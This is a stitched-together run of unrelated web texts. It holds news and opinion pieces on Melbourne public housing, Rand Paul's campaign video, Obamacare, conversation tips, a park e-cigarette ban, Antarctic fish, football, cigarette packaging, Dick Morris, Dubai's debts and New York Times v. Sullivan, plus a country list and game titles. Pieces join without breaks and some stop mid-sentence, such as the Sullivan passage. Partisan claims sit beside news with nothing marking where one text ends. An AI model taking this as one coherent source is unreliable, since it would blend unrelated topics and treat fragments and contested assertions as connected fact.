His spokeswoman did not respond directly to those questions, instead saying that consultations with tenants on the nine estates "have commenced and will continue". She said the plan to redevelop the estates was "in the early stages" and the government was "seeking responses from community housing organisations, financiers and developers". "The process is asking interested agencies to give examples on how they can produce the best outcomes for tenants, the 35,000 people on the public housing waiting list and the thousands of homeless people in Victoria," she said. Raoul Wainwright, a spokesman for the Victorian Public Tenants Association, said the report should be compulsory reading for all public housing decision makers. Loading
"Politicians and planners should be made to stand at the wall of Carlton to contemplate what not to do – we need less barriers between public tenants and private," he said. He said investment in public housing should not be "spasmodic", but rather "a normal part of budgetary planning".Rand Paul just quietly released a video announcing his run for the presidency, but most of the clips of him speaking are from one of the most anti-gay conferences in America.
Ted Cruz chose to use a university founded by the virulently anti-gay Jerry Falwell as the backdrop for his 2016 presidential campaign announcement, and now his senatorial colleague, Rand Paul, has chosen something similar.
While the Republican U.S. Senator from Kentucky has yet to formally announce his candidacy for president, last week he announced that this Tuesday he would be making a major announcement, and late Sunday evening Rand Paul released a teaser video of the campaign.
But just like Ted Cruz, Rand Paul too is cozying up to anti-gay religious conservatives in his new "teaser" video.
In the video, Senator Paul, a 52-year old ophthalmologist wearing a Brooks Brothers' dress shirt, positions himself as a different kind of Republican leader. In fact, that's the video's title.
The video opens with clips of pundits supposedly heralding the Tea Party and libertarian hero, and then cuts to Sen. Paul stating, "to fix Washington we can't have business as usual," but it shows him speaking at this year's the Conservative Political Action Convention.
CPAC is one of the nation's most anti-gay political conventions. They won't even allow the Log Cabin Republicans or, before they went under, GOProud, the former gay Tea Party group, to speak. The conference always attracts leaders from the far right, and Christian evangelical activists, like Family Research Council's Tony Perkins or American Family Association's Bryan Fischer, to name just a few.
Ironically, in another clip of Senator Paul speaking at CPAC, he can be heard saying "Congress should live under the laws they pass." He calls for kicking out of Congress those who don't.
But Senator Rand Paul's presidential candidacy itself is technically illegal if he runs while also running for re-election.
How's that for hypocrisy?
But wait, there's more.
In another clip, Paul says, "Liberal policies have failed our inner cities."
And by "inner cities," you know he means Black people - the very people Sen. Paul thinks business owners should be allowed to discriminate against.
Rand Paul pretty much distanced himself from the "religious freedom" bills in Indiana and Arkansas last week, but he did tell Pat Robertson's Christian Broadcasting network that America needs evangelical Christian "tent revivals" to heal the "moral crisis" created by same-sex marriage.
A "different kind of Republican leader"? Rand Paul just proved he's the same old washed up anti-gay pro-discrimination religious zealot - and the same kind of Republican "leader" as all the rest.
The video closes with a kind of "Mad Men"-esque image, which, considering the GOP would like to take the country back a half-century or more, makes perfect sense.
Watch:
https://www.youtube.com/watch?v=efHGNzG3KJg
One last note. On Twitter, Sen. Rand Paul is now Dr. Rand Paul. Kind of a slap in the face to all Kentuckians who voted for him.
Stay tuned - we'll have Dr. Paul's actual official announcement here tomorrow when it happens, live.
Image: Screenshot via YouTube
See a mistake? Email corrections to: [email protected]It directly affects the personal life of every American, and it controls or regulates a complex sector of the American economy that is slightly larger than the entire economy of France.
If you guessed Obamacare, you’ve been paying attention for the past four years.
Four years ago, many health policy analysts, including those at The Heritage Foundation, predicted some of the effects this law would have on Americans. These are all coming true. Here are nine of our predictions that have come to pass—and it’s not over yet.
1. The individual mandate is an enforcement nightmare.
As a candidate, President Obama worried that an individual mandate to buy insurance would be unenforceable. He changed his mind once he became president. This year—the first year that the mandate penalties are to be imposed—he has already started backtracking on the enforcement of the provision he signed into law.
2. The law will create new disincentives to work.
Between Obamacare’s higher taxes and its subsidies that drop off if you raise your income, there’s not a lot of incentive here to work harder and better your situation.
3. The law, particularly the employer mandate, will impose new costs on businesses that undercut jobs and wages.
The employer mandate has been delayed until 2015, but the uncertainty Obamacare has created—and its 18 new tax hikes—have put a huge dent in job creation.
4. The law undermines competition and further consolidates health insurance markets.
Heritage Foundation analysis of federal and state exchanges shows that the law has, in general, reduced competition and consolidated health insurance markets. Between 2013 and 2014, the number of insurers offering coverage on the individual markets in all 50 states has declined nationwide by 29 percent.
5. The law guarantees major premium increases.
As Heritage predicted, the average annual premiums for single and family coverage in 2014 are rising in the state and federal health insurance exchanges all around the country. In 11 states, premiums for 27-year-olds have more than doubled since 2013; in 13 states, premiums for 50-year-olds have increased more than 50 percent.
>>> Get more details on all of these Obamacare effects
6. The law discourages insurance enrollment among the young.
The law’s insurance rules and new benefit mandates will make it cheaper for many younger Americans simply to remain uninsured and pay the penalty fine. It’s not surprising that young people have been staying away.
7. The law’s Medicare savings would not financially strengthen Medicare.
The law’s proponents originally promised that “savings” from Medicare changes would be spent simultaneously in two places: helping Medicare and expanding Obamacare. But money can be spent only once, so that didn’t work.
8. The law’s Medicare changes will result in reduced benefits and threaten seniors’ access to care.
The law’s impact is fairly straightforward: Fewer Medicare providers, reimbursed at rates progressively reduced over time, will create access problems for patients. Medicare cuts have been underway for several years now.
9. The law compels taxpayers to fund abortion and weakens protections of the right of conscience.
Obamacare mandates health plans that include coverage of abortion. It also spawned the Health and Human Services regulatory mandate that forces American employers to provide coverage for abortion-inducing drugs. It is safe to say that four years ago, millions of Americans did not expect that the national health care law would become a vehicle for an aggressive government infringement of personal liberty or coerce Americans to fund medical procedures and drugs in direct violation of their ethical and religious convictions.
Is it any wonder public opinion is against this debacle? It’s unfair, unworkable, and unaffordable. We need real health reform that puts patients back at the center and increases choice for Americans.
Read the Morning Bell and more en español every day at Heritage Libertad.
Quick Hits:How many times have you avoided talking to someone new because you were afraid that:
That kind of self-doubt can be paralyzing. But you’re not alone.
Each week I get dozens of questions like, “Nick, can you please just tell me exactly what to say? That would really help me get started.”
I wish I could provide you guys with a miracle fix but then I’d just be another scammy marketer.
Conversations are dynamic and unique. You’re speaking with different people, with different personalities, in different situations. If you’re having the same conversations with all of them, then you’re never truly connecting with any of them.
Let go of the idea that a discussion is a mathematical formula. Stop looking for the “secret” to learning how to talk to people.
The answer is to become socially confident through real-world experience.
What I can provide you with are proven guidelines to make those experiences easier and more successful. But it’s still up to you to apply them.
Here are my 17 tips towards mastering conversation with new people.
Be genuinely interested in them. Every article on conversation tips starts with “listen well”. But how exactly do you do that? You already know how! It happens naturally when you’re interested in the other person. Don’t believe me? Why can you riff with your family and close friends with ease? Because you focus on the words coming out of their mouth rather than what to say next in your own head. A conversation is a two-way exchange where you build off of what one another says. Listening will give you all the material you need to relate, ask relevant questions, and continue building the connection. But if you’re not actively interested by what the other person is saying, it’s impossible to have an engaging discussion.
Use F.O.R.D. and avoid R.A.P.E. F.O.R.D. is a well-known guideline for what topics are generally effective when connecting with new people. It stands for family, occupation, recreation, and dreams (aspirations). But, what about topics to avoid? I came across the acronym R.A.P.E. — it stands for religion, abortion, politics, economics. I’d also add in previous romantic relationships. These are sensitive subjects to many people. Unless you’re really experienced at handling them or they’re relevant to the situation, I’d steer clear until you know the person better.
Ask engaging questions. Stop trying to carry the entire weight of the conversation. Asking meaningful questions takes the pressure off of you. People love to talk about themselves so encourage them to do so. Invite them to share their passions, opinions, and stories. They’ll leave the conversation feeling like you were a great listener who cared about getting to know them. Here are three rules for great questions that lead to meaningful connections: Open-ended or thought provoking. Questions that are easy to answer with one word do not pry conversation open. Force the other person to think about their answer and give you more material to connect with.
Questions that are easy to answer with one word do not pry conversation open. Force the other person to think about their answer and give you more material to connect with. Creative or unique. Don’t ask the same questions they’ve probably heard a thousand times.
. Don’t ask the same questions they’ve probably heard a thousand times. Emotional. Your questions should evoke feelings and not just yield constant exchanges of data. You want the “why” behind the words. Don’t stress about coming up with amazing first questions. You’re just opening the door so you can continue to dig deeper. It’s perfectly fine to get the ball rolling with a “standard” question. Let’s take “occupation” as an example. You might start talking to a woman with: “So what do you do?” She then tells you about her career as a travel photographer. You could follow up with a set of progressively bland, factual questions like: “Did you go to school for it?” / “Do you like it?” You’ll likely get a lot of short, unenthusiastic, “small talk” replies. It’s also going to feel like an interview. Or you could use engaging questions like: “Did you always want to be a photographer or was there a defining moment?” / “What’s the one shot that you’re most proud of?” Which set do you think will get her excited to respond? Which will make her share real emotion and insight about herself? Which will be most memorable?
Use conversational “hook points” to maintain a natural discussion. Simply put, hook points are any words or ideas stated by the other person. What’s being said in the moment will provide you with everything you need to fuel conversation. But when you’re in your head and not interested in what the other person is saying (step #1), you miss all the wonderful points of reference you can use to your advantage. Let’s continue off the example above. You ask, “So what do you do?”. She responds, “I’m a travel photographer. I actually just came back on Wednesday from Argentina.” What are some hook points I could continue conversation from? – Travel
– Photography
– Argentina
– Flying (implied by the long-distance travel) Pick one of the above. There are an unlimited amount of ways you could respond. Think… Have you been to Argentina? What did you like about it? Do you have a story to share? If not, what do you want to know about Argentina? Are you into photography yourself? How do you feel about flying that long distance? So you could… Ask a relevant or deeper question. Like in the example above, you could immediately follow up with: “I’m jealous, that sounds exciting. Did you always want to be a photographer or was there a defining moment?” Or even something more lighthearted (but still unique and thought-provoking)… “Okay so since you’re a pro, what’s your secret to enjoying a 12 hour flight?” [Flying]
Sarcastic tease. “Wow, traveling the world and seeing beautiful sites sounds like such an awful job.” [Travel]
“Wow, traveling the world and seeing beautiful sites sounds like such an awful job.” [Travel] Relate back. “I’d love to visit Argentina – the culture and nightlife seem incredible.” [Argentina]
“I’d love to visit Argentina – the culture and nightlife seem incredible.” [Argentina] Be playful. “ Oh my god why would you ever leave that gorgeous weather?” [Argentina]
Oh my god why would you ever leave that gorgeous weather?” [Argentina] Roleplay. “It must be hard handling all that equipment yourself. Looks like I’m your new full-time travel assistant.” [Photography] Mix up your responses and interject statements in between questions. So the basic idea is this: Ask an engaging question -> Listen and choose a hook point -> Make a relevant statement / question -> Repeat listening and choosing next hook point.
Maintain strong eye contact. Without it, you will look nervous, disengaged, or disingenuous. This is especially true while the other person is talking. When breaking eye contact, do it briefly and casually.
Stop fearing silence. You don’t need to immediately fill every lull in conversation. It’s perfectly normal to have a quiet moment or two. As long as you look comfortable in your skin, it won’t be weird or “creepy”. Silences are only awkward if you make them awkward. If you tense up, look terrified, and stutter words out – then the other person will feel uncomfortable. But if you smile, take a breath, or casually sip your drink, then everything will feel great. Lead with confident body language even if you’re anxious on the inside. Those extra few seconds give you a chance to collect your thoughts and respond well. Not only that, but because you look relaxed, the other person often restarts the conversation. A win-win for you.
Don’t be a 1-Upper. If someone’s sharing a story with you (especially if it’s personal) don’t immediately respond with how you have a better, crazier, or more impressive one. It seems like you didn’t care about what they told you. They may even feel stupid and regret sharing their story.
Give real, personal compliments. People love to be validated and have their ego fed. Everyone wants to feel attractive and well-liked. That said, don’t just start giving out cheap compliments. Generic compliments like that have been heard a 100 times before won’t make a strong impact. And if people feel you’re being insincere or have hidden motives, it can have a very negative effect on your connection. So how do you give a great compliment? Make sure they’ve legitimately earned it and make it unique to them. I only give out compliments when someone has opened up to me, shared something personal, and impressed me. They’ve earned my praise and it carries a lot of weight because of it. Don’t say: “That’s really interesting.”
“You look nice.”
“You’re fun.” Do say: “I love how you’re passionate about so many different things.”
“Damn that jacket looks fantastic on you.”
“I feel like I could talk to you about anything and it would still be fun.” A couple of genuine compliments go a long way. Take a cue from Jack Nicholson.
Speak with a dominant, not submissive, tone. Submissive tones have a pitch that rises at the end of sentences. We do this with people we feel are superior (like bosses) or when we’re seeking approval – often with new people. It makes you sound nervous and unsure of yourself. Dominant voices have a neutral or lower pitch at the end of sentences. It comes off secure, confident, and honest.
Don’t needlessly apologize. Unless you actually upset someone or did something worthy of a real apology, don’t do it.
Stick to positive. Life can already be stressful enough. Everyone wants to be around someone who brings positive energy and improves the atmosphere. It’s contagious. Yes, I understand some people have bonded through complaining and cynicism. But that’s a weak, unsustainable way to start a connection. Instead, be the guy who makes them forget about their worries and problems. Even when someone says something like, “I had such a stressful, shitty work week.” Don’t say “Yeah I know how much that sucks.” Instead, elevate them up, “Well it’s a good thing you’re surrounded by great friends, great drinks, and have the weekend ahead of you :)”
Don’t criticize or judge them harshly. It’s okay to have a different opinion and to express it. But if you disagree with something, be polite about it. Don’t say: “Wow, how could you like that?”
“That’s wrong, they actually found…” Do say: “I can appreciate that although I’m more of a ____ guy myself.”
“I read a recent article that said…” Attacking people only pushes them to get defensive or shut down. If you disagree with someone so much that you can’t contain yourself, they aren’t right for you. Walk away and talk to someone who is.
Give the occasional “I’m listening signal.” A simple head nod, “mhmm”, or “yeah” shows you’re involved in the conversation.
Learn how to tell a good story. It’s so much easier than you think. Every story follows this basic pattern: Hook -> vivid imagery/emotions -> punch line. Stories are an amazing way to draw someone in while getting them to relate with the real you. And since you’re just recalling something from your past, you won’t run out of what to say.
Avoid one-word or generic responses. They come off curt and can close the doors to more conversation. For example, if someone asked: “I really want to see a game at Fenway, have you been?” Don’t respond: “Yeah”, “No”, or “Yeah, it’s cool.” Do respond: “Yeah, I go every year with my dad. You should definitely see a game before you leave.”
“Nah I haven’t but I’m dying to go, too.” With both of those, you can lead into a story or ask a relevant question.
Assume people will like your presence. Our perceptions have a powerful impact on our outcomes. If you walk into every social situation thinking “they’re not going to want to talk to me”, “I’m going to get rejected”, or “this is going to be awful”, you’re going to prove yourself right. You will project defeated body language, be timid, and have a hard time relaxing. But if you believe people will be warm, friendly, and inviting – that’ll come true more than you think. You will walk into conversations genuinely excited to connect with people and it immediately shows.The National Park Service has decided to restrict the use of e-cigarettes on its lands, so that anywhere cigarette smoking is banned, vaping is now banned, too.
Citing “an abundance of caution” to protect the health of employees and visitors, Director Jonathan Jarvis said the service would treat nicotine vapor the same as tobacco smoke. Smoking is banned at indoor sites and in park vehicles; it is each park superintendent’s prerogative to ban it in outdoor areas, as well—though this does not usually extend to parking lots and sidewalks, according to U.S. News and World Report.
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The science on e-cigs and secondhand smoke is still being investigated and debated; the National Park Service memo on the subject says the devices emit about one-tenth the amount as regular cigarettes.
[U.S. News]
Contact us at editors@time.com.This month, a National Science Foundation-funded expedition began drilling through the Whillans Ice Stream, a glacier that flows from the West Antarctic Ice Shelf to the Ross Ice Shelf. The team wanted to see how the ice was faring and responding to climate change, so they drilled to the glacier’s grounding zone — where it leaves bedrock and meets the sea.
At that zone, the sea bottom looks bare and "rocky, like a lunar surface," glacial geologist Ross Powell told Douglas Fox for Scientific American. They sent a little underwater vehicle called Deep-SCINI down the borehole to investigate. Its cameras would capture images of the rocks and sediment down on the sea floor. The researchers took sediment cores and seawater samples, which betrayed only the presence of a few microbes — no sign of crustaceans or other life normally found at the bottom of the sea.
This wasn’t a surprise: Under 2,428 feet of ice and 528 miles from the edge of the ice shelf, the site is far from any hint of sunlight, the energy source that typically powers marine food webs. So the next thing they found was shocking.
The ROV had paused while technicians adjusted some controls (it was the bot’s maiden voyage) when they saw something through the down-looking camera. Fox writes:
A graceful, undulating shadow glided across its view, tapered front to back like an exclamation point—the shadow cast by a bulb-eyed fish. Then people saw the creature casting that shadow: bluish-brownish-pinkish, as long as a butter knife, its internal organs showing through its translucent body.
It was a fish. About 20 to 30 fish visited the ROV that day, perhaps attracted to light. And that wasn’t all. Two other kinds of fish, shrimp-like crustaceans and few other invertebrates were also spotted.
“I’ve worked in this area for my whole career,” Ross says. “You get the picture of these areas having very little food, being desolate, not supporting much life.”
The food web down there is still unknown. “Food is in short supply and any energy gained is hard-won," says Brent Christner, a microbiologist from Louisiana State University. "This is a tough place to live.” Without sunlight, the scant microbes there might be relying on chemical energy — minerals delivered by the moving ice above, currents traveling long distances or seeping up from sediments. "The lack of mud dwellers might indicate that animals living this far under the ice shelf must be mobile enough to follow intermittent food sources from place to place," writes Fox.
Answering where food comes from is just the beginning of a long list of questions for this chilly, dark underwater community. But for now, the discovery proves yet again that life can eek out in the most remote, unexpected places.Former LSU cornerback Tyrann Mathieu has expressed interest in sitting out this season, enrolling in classes and hoping for a return to the program in 2013, if it can be worked out with the school, according to sources.
LSU senior associate athletic director for NCAA compliance Bo Bahnsen told Gannett Newspapers on Monday that Mathieu is "permanently ineligible" to play for LSU again.
But sources said early and later Monday that it would not be accurate to state there was no chance Mathieu could ever play for LSU again and that the possibility had been discussed.
Asked about Bahnsen's comments, LSU senior associate athletic director Herb Vincent said: "LSU has not changed its position. We're not speculating on (Mathieu's) football future."
Mathieu is considering staying at LSU and paying his own way for classes this year even if the chance to play football there again does not exist, a source close to Mathieu said. The source cited the "support system" available at LSU as well as the belief that this is a time to focus on his maturity and character, not just playing football this year.Fr. Frank Pavone, the head of Priests for Life, sent out a press statement today seeking to “correct the record” on reports that Republican presidential frontrunner Donald Trump had blown off a planned conference call with a group of anti-choice activists he organized yesterday.
Pavone declined to go into details, but said that the Trump campaign did not “break any commitment, promise, appointment, or expectation” and that he has extended to Trump a “standing invitation to dialogue.”
Pavone also addressed Trump’s recent controversial comments that women who have abortions should face “some form of punishment,” which the candidate quickly retracted before taking several additional contradictory positions on abortion rights over the course of a week.
Pavone said that his group believes that the legal punishment for abortion “should be for the abortionist, not the baby’s mom,” but claimed that women who “have had abortions are already in prison.” (He meant this metaphorically, although it is also literally true.)
“We don’t aim to imprison them, we aim to liberate them from the shame and guilt and wounds abortion brings,” he said.
He added that people like Trump who believe in punishing women for abortion are “much easier to bring to the right position” than those who are pro-choice:LONDON (Reuters) - Studies on the health impact of “plain” or standardized cigarette packs suggest they can deter non-smokers from taking up the habit and may cut the number of cigarettes smokers get through, scientists said on Tuesday.
In a collection of scientific papers in the journal Addiction, researchers said that while standardized packs were still too new to provide substantial evidence, studies so far showed they were likely to reduce smoking rates.
Britain plans before May to become the second country in the world to introduce non-branded, standardized packaging for cigarettes, after the government promised last month to pass legislation that would come into effect in 2016.
Australia introduced standardized packaging two years ago in the face of fierce opposition from the tobacco industry. Its law forced cigarettes to be sold in plain green packs with health warnings and images showing the damaging effects of smoking.
In the Addiction series of studies, researchers found that after Australia’s move in 2012, when plain packages were introduced and the health warnings and images on them were made larger, smoking in outdoor areas of cafes, bars and restaurants declined and fewer smokers left their packs visible on tables.
Another study found that removing brand imagery from packs increased the focus on health warnings among occasional smokers and adolescents just starting to smoke.
Robert West, editor-in-chief of the journal, said plain packaging’s effect on young potential smokers was likely to be the most important initial impact.
“Even if standardized packaging had no effect at all on current smokers and only stopped one in 20 young people from being lured into smoking (in the UK), it would save about 2,000 lives a year,” he told reporters at a briefing in London.
Tobacco firms have fought hard against the new law, saying standard packs infringe on intellectual property rights covering branding and will only increase counterfeiting and smuggling.
But Ann McNeill, a professor of tobacco addiction at King’s College London, said cigarette makers should note that if their product had been invented today, it would never have even reached the consumer market.
“For an addictive product that kills so many of its users, the tobacco industry should consider itself fortunate that... it is allowed to sell its toxic products at all, let alone try to make them attractive through the packaging,” she said.Morris goes on to state:
In retrospect, this was the Democratic strategy at their convention (and it succeeded brilliantly): Long ago, President Obama realized that he would never win re-election based on his dismal record and he decided to try to cast the contest as a “choice” rather than a referendum on his record in office. To win that choice, Obama has spent about $150 million on ads savaging Romney over Bain Capital, tax returns, and foreign bank accounts. But it didn’t work. In my pre-convention polling, Romney consistently led Obama by between four and seven points among likely voters.
Yeah, we heard about Morris' personal "secret" polls before which showed Romney leading Obama by 7% while every other poll showed Obama leading Romney by anywhere from 2% to 7%. Here he mentions them again, as if they were actually real instead of a figment of his hyperactive imagination. Anyway, next Morris explains how it all flipped around and went to dust for Romney:
And the Convention showcased all the oldies but goodies which have held the Democratic coalition together — abortion, contraception, equal pay, tax “fairness” et. al. Their strategy worked. Wandering and wayward Democrats — particularly unmarried women – came home and switched their party identification, at least for now. As a result, Obama has had a bounce from the convention as the number of Democrats swelled.
Yep, all it took for a complete reversal of fortunes to the tune of a 7% turnaround in Morris' internal "secret" polling numbers was a convention that talked about abortion, equal pay, taxes, and BOOM, all the Democrats which had become Republicans came running right back into the fold. Hey, wait, maybe Morris IS onto something here: If you have a choice between a house full of crazed loons talking about dismantling Roe vs. Wade, establishing "personhood" at conception, claiming that "the body shuts that right down" when a woman is raped, chanting "We built that" incessantly, and adults intelligently discussing serious issues facing the American people and bringing lunacy and transparency to the table, perhaps it was inevitable that folks not just walked but RAN back to the Democrats and Obama.
Then Morris goes on to explain what Romney must do to get the lead back he has lost in such dramatic fashion:
Romney has a solid ten point lead on jobs and the economy. He has, as a result of his convention and particularly due to his wife's speech, overcome the personal negatives with which Obama tried to saddle him in the months before the convention. Now he must turn to the fundamentally different narrative of the two parties and explain that he wants to get government off your back, out of your pocketbook, and far away from the checkbook. By asserting the fundamental superiority of the Republican brand over the Democratic alternative, Romney and Ryan can reverse the shift in party identification and resume their lead over Obama.
First off, Morris LIES here again. Romney does NOT have a 10% lead on "economy and jobs." Far from it. Poll after poll taken after the conventions shows either Obama leading on the subject, or at best Obama and Romney are tied on that metric. There IS no 10% lead Romney enjoys on that question. Even the House of Ras shows Obama leading Romney by 2% on the question "Who do you trust more with job creation?"
Secondly, the American people don't appear to perceive the supposed "fundamental superiority of the Republican brand over the Democratic alternative," as foolishly claimed here by Morris. On issue after issue, Democrats and Obama win with the American public. Jobs/economy, all social issues, welfare, who is best for the vast middle class, abortion, taxes, on and on, heck even on terrorism. Even the formerly highly contentious issue of gay marriage has turned into a plus for the Democrats, as is the Affordable Health Care act about to follow suit.
What is striking here is that Dick Morris, yes, the same Dick Morris who insisted that there is an inevitable Romney landslide of spectacular proportions coming, and that all polls are simply wrong,
just yesterday here
and before that
here
and
here
and
here
is now on record to have completely reversed himself and all of a sudden claims that his own polling shows the Democrats having built a huge 10% advantage in party identification, something not even the most Obama-friendly polls have shown as of yet. That he uses an ignorant falsehood of an imagined Romney polling edge when it comes to the "jobs and economy" metric for the "concerned" advice he gives to the Romney campaign moving forward makes Romney's situation the more precarious, at least in going with Morris' imagined alternative reality universe.
It looks to me that Dick Morris is now strongly backing away from Romney in dramatic fashion, using his own super-duper-secret polling (voices in his head?) as cover, to make the case of a spectacular Romney cratering that only a harping on supposed Romney strengths like the economy and jobs could possibly reverse. He probably saw how he was widely ridiculed for his constantly bizarre commentary, which appears to be based on pure fantasy, throwing coins in a wishing well, and witchcraft, and now has decided that he has to back away from the Romney disaster-in-the-making to keep himself at least somewhat relevant for future commentary gigs in the right-wing press, instead of just looking to the entire world like the nutcase he actually is.
Good times are here when even Romney's cheerleader-in-chief makes a sudden 180 degree reversal and claims that the voices in his head are now giving Democrats and Obama a 10% lead in stated party preference, and with that presidential preference, which Romney now has only a few weeks remaining to overcome.Ian Rapoport of the NFL Network reports that the Detroit Lions are showing a “ton of interest” in Clemson WR Sammy Watkins.
Justin Rogers of MLive.com reported earlier in the day that Lions GM Martin Mayhew and new HC Jim Caldwell were both on hand for Clemson’s pro day on Thursday.
Rogers added that their primary focus was “undoubtedly” on Watkins.
Watkins is considered by many draft experts to be the best receiver in this year’s draft class, and his performance on Thursday left many evaluators impressed with his overall ability.
The Lions currently hold the No. 10 overall pick, so it’s hard to say that he would be available to them by the time they are on the clock. Detroit may have to consider trading up with someone like the Raiders who are reportedly looking to acquire more draft picks this year.
Watkins and Calvin Johnson could make for a formidable pair of receivers to contend with in the coming years.
We have the Lions selecting Texas A&M WR Mike Evans in the first-round of our most recent 2014 NFL Mock Draft.United States Supreme Court case
New York Times Co. v. Sullivan, 376 U.S. 254 (1964),[1] was a landmark United States Supreme Court case that established the actual malice standard that must be met for press reports about public officials to be considered libel.[2] The decision defended free reporting of the civil rights campaigns in the southern United States. It is one of the key decisions supporting the freedom of the press. The actual malice standard requires that a plaintiff alleging defamation who is a public official or public figure prove that the publisher of the statement in question knew that the statement was false or acted in reckless disregard of its truth or falsity. Because of the extremely high burden of proof on the plaintiff, and the difficulty of proving the defendant's knowledge and intentions, such claims by public figures rarely prevail.
Before this decision, there were nearly $300 million in libel actions from the southern states outstanding against news organizations, as part of a focused effort by southern officials to use defamation lawsuits as a means of preventing critical coverage of civil rights issues in out-of-state publications.[3][4] The Supreme Court's decision, and its adoption of the actual malice standard, reduced the financial exposure from potential defamation claims, and thus frustrated the efforts of public officials to use these claims to suppress political criticism.[3][4]
Background [ edit ]
On March 29, 1960, The New York Times carried a full-page advertisement titled "Heed Their Rising Voices", paid for by the Committee to Defend Martin Luther King and the Struggle for Freedom in the South.[5][6] In the advertisement, the Committee solicited funds to defend Martin Luther King, Jr., against an Alabama perjury indictment. The advertisement described actions against civil rights protesters, some of them inaccurately, some of which involved the police force of Montgomery, Alabama. Referring to Alabama "official authority and police power", the advertisement stated: "They have arrested [King] seven times.... ", whereas he had been arrested only four times; and that "truckloads of police... ringed the Alabama State College campus" after the demonstration at the State Capitol, whereas the police had been "deployed near" the campus but had not actually "ringed" it and had not gone there in connection with the State Capitol demonstration.[1] Although the Montgomery Public Safety commissioner, L. B. Sullivan, was not named in the advertisement, Sullivan argued that the inaccurate criticism of actions by the police was defamatory to him as well because it was his duty to supervise the police department.[1]
New York Times on March 29, 1960 Published inon March 29, 1960
Because Alabama law denied public officers recovery of punitive damages in a libel action on their official conduct unless they first made a written demand for a public retraction and the defendant failed or refused to comply, Sullivan sent such a request.[1] The Times did not publish a retraction in response to the demand. Instead |
he wasn't good for the money, then by the wider United Arab Emirates and in particular, Dubai's much richer neighbour, Abu Dhabi.
In fact, none of these guarantees was ever in the documentation and in practice, nobody looks ready to honour anything as vague as an implicit understanding. Given that the damage to the UAE of default in Dubai is going to be a good deal worse than the monetary cost of bailing out the miscreant emirate, this raises an obvious question – maybe the emirates as a whole are built on sand, and they don't have the money?
Yet there is also a more benign explanation. Anyone with any experience of trading in the Middle East knows that the moment you tread further south than Marseilles, the law of contract becomes – how shall we put it? – somewhat pliable. For instance, it is relatively common place for clients in the Gulf to freeze payments to contractors. For us that may be breach of contract, but for them it is merely part of the hard ball of negotiation.
The sanguine view of what's just occurred is that it amounts to no more than a version of this cat and mouse game. Unfortunately for Sheikh Mohammed, treating his creditors so casually has turned into a public relations disaster in which the emirate's overall solvency has been questioned. In fact, some argue, the problem could easily be fixed by selling a few assets from the sovereign wealth funds.
Some might find it odd that the oil-rich Gulf, supposedly one of the wealthiest regions in the world, should find it necessary to borrow from Western banks to finance its empire building in the first place, but then much business in the Middle East runs on this relatively straight-forward concept: if you can use someone else's money, why risk your own?
Even so, most financiers are inclined to view the situation in Dubai as still containable. Moody's yesterday reaffirmed its credit rating for the UAE as a whole. They have taken it as a positive that both Abu Dhabi and the UAE have said they will not be guaranteeing Dubai World's liabilities.
There is a sort of mad logic, I guess, in the Moody's analysis. The rating agency notes that the Dubai World restructuring has effectively reduced the UAE's contingent liabilities by highlighting the limits of government support for indebted state-owned companies.
Moody's also takes comfort from the assurance it has been given from Abu Dhabi that its sovereign wealth fund alone is worth more than twice GDP. There may be a liquidity problem, but there isn't a solvency issue.
Reassured? Me neither. The credit rating agencies wouldn't see a juggernaut heading towards them even if standing slap bang in the middle of the road facing the oncoming traffic. Moody's was still rating some CDOs as triple A right up to the point they became worthless.
The reality is that the whole region is alive with actual and threatened acts of default. What's going on at Saad Group in Saudi Arabia is in some respects a great deal worse. Much of the money seems to have gone walk about, with local creditors being given preferential treatment over international lenders.
Once one company tries to run away from its debts, copy-cat defaults are certain. Suddenly everyone wants the same debt forgiveness. Historical ties to the region mean that British banks are in the thick of it.
Banks which have so far managed to avoid the worst of the banking crisis, notably Standard Chartered, now find themselves up to their necks in sand, to the delight of rivals which take great pleasure in the 'goody two shoes' of the industry getting its comeuppance. With the crisis showing signs of spilling over into the developing world, the previously good are being felled alongside the bad.
Royal Bank of Scotland, which during the boom seems to have acted as lender of last resort to almost anyone who rolled in through the door, has predictably discovered an exposure of up to £2bn to Dubai, of which possibly as much as £500m could be at risk once creditors have received the prescribed hair cut.
For RBS, Dubai is just another bad debt among many still to be written off, yet it serves to underline recent warnings by the International Monetary Fund that the global banking industry is still less than half-way through the process of loan impairment, with perhaps as much as another $1.5 trillion to come. Western bankers have been reckless with our money just about everywhere else, so it should come as little surprise that they've had their pockets felt in the bazaars of the Middle East too.
As to whether this is the beginning of another earthquake, that depends crucially on how markets choose to react. Such as it is, the recovery in markets is only skin deep. Driven by short-term sentiment and massive policy action, it seems wholly to ignore the long-term fundamentals, which remain grim for many Western economies. After a long period of over-consumption financed by excessive borrowing, a seminal change is under way which will in time force the deficit nations to save more and borrow less.
Only the politicians, who constantly barrack the banks for not lending more, don't seem to realise it. In the meantime, they are doing enough borrowing for all of us. Western governments may have saved us from the worst horrors of cold turkey by propping the economy up with public debt, but in the process they are steadily bankrupting themselves, and if they don't act soon, they'll end up like Dubai.
One debt accumulation is being replaced with another. We'll be spending the next 10 years paying for it.Please select your country: United States Argentina Australia Austria Belarus Belgium Brazil Brunei Bulgaria Canada Chile China Colombia Croatia Cyprus Czech Republic Czechoslovakia (1945-1992) Denmark East Germany (1949-1990) Estonia Finland France Georgia Germany Greece Hong Kong Hungary Iceland India Indonesia Ireland Israel Italy Japan Latvia Lithuania Luxembourg Macau Macedonia Malaysia Malta Mexico The Netherlands New Zealand North Korea Norway Philippines Poland Portugal Romania Russia Saudi Arabia Serbia Singapore Slovakia Slovenia South Korea Spain Sweden Switzerland Taiwan Thailand Turkey Ukraine United Arab Emirates United Kingdom Uruguay Vietnam U.S.S.R. (1922-1991) Yugoslavia (1945-1992) Africa » Cameroon Africa » South Africa Worldwide Other
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"魔戒：中土戰爭" -- Chinese spelling (traditional)
"指环王: 中土战争" -- Chinese spelling (simplified)
"Властелин колец: Битва за Средиземье" -- Russian spelling
"Zhihuan Wang: Zhongtu Zhangzhen" -- Chinese title
"Władca Pierścieni: Bitwa o Sródziemie" -- Polish title
"Slaget om Midgård: Härskarringen" -- Swedish title
"Ringenes Herre: Kampen om Midgard" -- Norwegian title
"O Senhor dos Anéis: A Batalha Pela Terra Média" -- Portuguese title
"Le Seigneur des Anneaux: La Bataille pour la Terre du Milieu" -- French title
"El Señor de los Anillos: Batalla por la Tierra Media" -- Spanish title
"Der Herr der Ringe: Die Schlacht um Mittelerde" -- German title
"BFME1" -- Common abbreviation
"A Gyűrűk Ura: Harc Középföldéért" -- Hungarian title
